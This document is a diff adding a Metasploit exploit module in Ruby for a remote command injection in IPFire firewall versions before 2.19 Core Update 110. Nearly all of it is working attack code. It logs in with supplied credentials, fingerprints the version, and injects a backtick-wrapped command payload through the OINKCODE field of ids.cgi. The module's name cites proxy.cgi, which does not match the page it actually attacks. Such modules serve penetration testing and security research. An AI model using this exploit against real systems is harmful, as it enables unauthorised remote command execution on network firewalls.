|
| 1 | +## |
| 2 | +## This module requires Metasploit: http://metasploit.com/download |
| 3 | +## Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +### |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + include Msf::Exploit::Remote::HttpClient |
| 8 | + |
| 9 | + Rank = ExcellentRanking |
| 10 | + def initialize(info = {}) |
| 11 | + super( |
| 12 | + update_info( |
| 13 | + info, |
| 14 | + 'Name' => 'IPFire proxy.cgi RCE', |
| 15 | + 'Description' => %q( |
| 16 | + IPFire, a free linux based open source firewall distribution, |
| 17 | + version < 2.19 Update Core 110 contains a remote command execution |
| 18 | + vulnerability in the ids.cgi page in the OINKCODE field. |
| 19 | + ), |
| 20 | + 'Author' => |
| 21 | + [ |
| 22 | + 'h00die <[email protected]>', # module |
| 23 | + '0x09AL' # discovery |
| 24 | + ], |
| 25 | + 'References' => |
| 26 | + [ |
| 27 | + [ 'EDB', '42149' ] |
| 28 | + ], |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'Platform' => 'unix', |
| 31 | + 'Privileged' => false, |
| 32 | + 'DefaultOptions' => { 'SSL' => true }, |
| 33 | + 'Arch' => [ ARCH_CMD ], |
| 34 | + 'Payload' => |
| 35 | + { |
| 36 | + 'Compat' => |
| 37 | + { |
| 38 | + 'PayloadType' => 'cmd', |
| 39 | + 'RequiredCmd' => 'perl awk openssl' |
| 40 | + } |
| 41 | + }, |
| 42 | + 'Targets' => |
| 43 | + [ |
| 44 | + [ 'Automatic Target', {}] |
| 45 | + ], |
| 46 | + 'DefaultTarget' => 0, |
| 47 | + 'DisclosureDate' => 'Jun 09 2017' |
| 48 | + ) |
| 49 | + ) |
| 50 | + |
| 51 | + register_options( |
| 52 | + [ |
| 53 | + OptString.new('USERNAME', [ true, 'User to login with', 'admin']), |
| 54 | + OptString.new('PASSWORD', [ false, 'Password to login with', '']), |
| 55 | + Opt::RPORT(444) |
| 56 | + ] |
| 57 | + ) |
| 58 | + end |
| 59 | + |
| 60 | + def check |
| 61 | + begin |
| 62 | + # authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179 |
| 63 | + # after a chat with @bcoles in IRC. |
| 64 | + res = send_request_cgi( |
| 65 | + 'uri' => '/cgi-bin/pakfire.cgi', |
| 66 | + 'method' => 'GET', |
| 67 | + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) |
| 68 | + ) |
| 69 | + |
| 70 | + if res && res.code == 200 |
| 71 | + /\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body |
| 72 | + end |
| 73 | + if version.nil? || update.nil? || !Gem::Version.correct?(version) |
| 74 | + vprint_error('No Recognizable Version Found') |
| 75 | + CheckCode::Safe |
| 76 | + elsif Gem::Version.new(version) <= Gem::Version.new('2.19') && update.to_i <= 110 |
| 77 | + CheckCode::Appears |
| 78 | + else |
| 79 | + vprint_error('Version and/or Update Not Supported') |
| 80 | + CheckCode::Safe |
| 81 | + end |
| 82 | + rescue ::Rex::ConnectionError |
| 83 | + print_error("Connection Failed") |
| 84 | + CheckCode::Safe |
| 85 | + end |
| 86 | + end |
| 87 | + |
| 88 | + def exploit |
| 89 | + begin |
| 90 | + # authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179 |
| 91 | + # after a chat with @bcoles in IRC. |
| 92 | + vprint_status('Sending request') |
| 93 | + res = send_request_cgi( |
| 94 | + 'uri' => '/cgi-bin/ids.cgi', |
| 95 | + 'method' => 'POST', |
| 96 | + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), |
| 97 | + 'headers' => |
| 98 | + { |
| 99 | + 'Referer' => "#{datastore['SSL'] ? 'https' : 'http'}://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/ids.cgi" |
| 100 | + }, |
| 101 | + 'vars_post' => { |
| 102 | + 'ENABLE_SNORT_GREEN' => 'on', |
| 103 | + 'ENABLE_SNORT' => 'on', |
| 104 | + 'RULES' => 'registered', |
| 105 | + 'OINKCODE' => "`#{payload.encoded}`", |
| 106 | + 'ACTION' => 'Download new ruleset', |
| 107 | + 'ACTION2' => 'snort' |
| 108 | + } |
| 109 | + ) |
| 110 | + |
| 111 | + # success means we hang our session, and wont get back a response, so just check we get a response back |
| 112 | + if res && res.code != 200 |
| 113 | + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") |
| 114 | + end |
| 115 | + rescue ::Rex::ConnectionError |
| 116 | + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") |
| 117 | + end |
| 118 | + end |
| 119 | +end |
0 commit comments